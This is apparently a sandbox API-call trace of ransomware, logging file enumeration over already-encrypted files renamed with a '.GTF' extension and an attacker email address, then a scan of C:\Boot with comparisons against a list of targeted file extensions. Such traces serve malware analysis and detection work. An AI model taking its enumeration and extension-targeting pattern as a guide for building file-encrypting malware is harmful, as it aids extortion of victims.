	[0153.433] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06ff259, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06ff259, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa07e4339, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Save.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SAVEIC~1.GTF")) returned 1
	[0153.434] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0771964, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0771964, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0797dfe, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="Setup.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPI~1.GTF")) returned 1
	[0153.434] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0797dfe, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0797dfe, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa103c469, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="stop.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="STOPIC~1.GTF")) returned 1
	[0153.434] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa10faffa, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa10faffa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa1763645, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SysReqMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SYSREQ~2.GTF")) returned 1
	[0153.434] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa1016218, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa1016218, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa16586b1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SysReqNotMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SYSREQ~1.GTF")) returned 1
	[0153.434] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa103c469, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa103c469, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa103c469, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="warn.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WARNIC~1.GTF")) returned 1
	[0153.434] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa103c469, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa103c469, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa103c469, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="warn.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WARNIC~1.GTF")) returned 0
	[0153.434] FindClose (in: hFindFile=0x4140458 | out: hFindFile=0x4140458) returned 1
	[0153.435] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.435] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa05a7e25, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="header.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="HEADER~1.GTF")) returned 1
	[0153.435] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xa2bcd7f7, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="netfx_Core.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NETFX_~1.GTF")) returned 1
	[0153.435] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xa22b6728, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="netfx_Core_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NETFX_~2.GTF")) returned 1
	[0153.435] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa1763645, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa1763645, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa1dcbb4b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="netfx_Core_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NETFX_~3.GTF")) returned 1
	[0153.435] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="netfx_Extended.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NETFX_~4.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa21855a8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa21855a8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa21d1a97, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="netfx_Extended_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NE394B~1.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2433eea, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2433eea, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa245a2df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="netfx_Extended_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NE3072~1.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05ce010, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05ce010, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06b2ee1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="ParameterInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARAME~1.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2480588, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2480588, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa24f2bb6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="RGB9RAST_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="RGB9RA~1.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2519a01, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2519a01, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa253f02e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="RGB9Rast_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="RGB9RA~2.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa253f02e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa253f02e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa296b183, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Setup.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPE~1.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa264a08a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa264a08a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa29b77a6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="SetupEngine.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPE~2.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2bcd7f7, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2bcd7f7, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa2f87479, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="SetupUi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPU~2.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05f41a2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05f41a2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06669c1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="SetupUi.xsd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPU~1.GTF")) returned 1
	[0153.436] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fad6f8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2fad6f8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa2fad6f8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="SetupUtility.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPU~3.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa068cbd2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa068cbd2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06d9132, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="SplashScreen.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SPLASH~1.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34792a7, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa34792a7, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa34792a7, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="sqmapi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SQMAPI~1.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06d9132, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06d9132, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06ff259, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Strings.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="STRING~1.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06d9132, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06d9132, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0ff158f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06ff259, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06ff259, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0ebed7a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="watermark.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WATERM~1.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xa45e58c6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~1.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~2.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xa4e8a19e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~3.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xa4f6ee8b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~4.GTF")) returned 1
	[0153.437] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xa4f6ee8b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~4.GTF")) returned 0
	[0153.438] FindClose (in: hFindFile=0x5ba5b0 | out: hFindFile=0x5ba5b0) returned 1
	[0153.438] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0153.438] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0153.438] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0153.439] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName=".", cAlternateFileName="")) returned 0x4140118
	[0153.439] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="..", cAlternateFileName="")) returned 1
	[0153.439] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="BCD", cAlternateFileName="")) returned 1
	[0153.439] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0153.439] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0153.439] lstrlenW (lpString="BCD.LOG1") returned 8
	[0153.439] lstrlenW (lpString=".1cd") returned 4
	[0153.440] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".3ds") returned 4
	[0153.440] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".3fr") returned 4
	[0153.440] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".3g2") returned 4
	[0153.440] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".3gp") returned 4
	[0153.440] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".7z") returned 3
	[0153.440] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0153.440] lstrlenW (lpString=".accda") returned 6
	[0153.440] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1
	[0153.440] lstrlenW (lpString=".accdb") returned 6
	[0153.440] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1
	[0153.440] lstrlenW (lpString=".accdc") returned 6
	[0153.440] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1
	[0153.440] lstrlenW (lpString=".accde") returned 6
	[0153.440] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1
	[0153.440] lstrlenW (lpString=".accdt") returned 6
	[0153.440] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1
	[0153.440] lstrlenW (lpString=".accdw") returned 6
	[0153.440] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1
	[0153.440] lstrlenW (lpString=".adb") returned 4
	[0153.440] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".adp") returned 4
	[0153.440] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".ai") returned 3
	[0153.440] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1
	[0153.440] lstrlenW (lpString=".ai3") returned 4
	[0153.440] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".ai4") returned 4
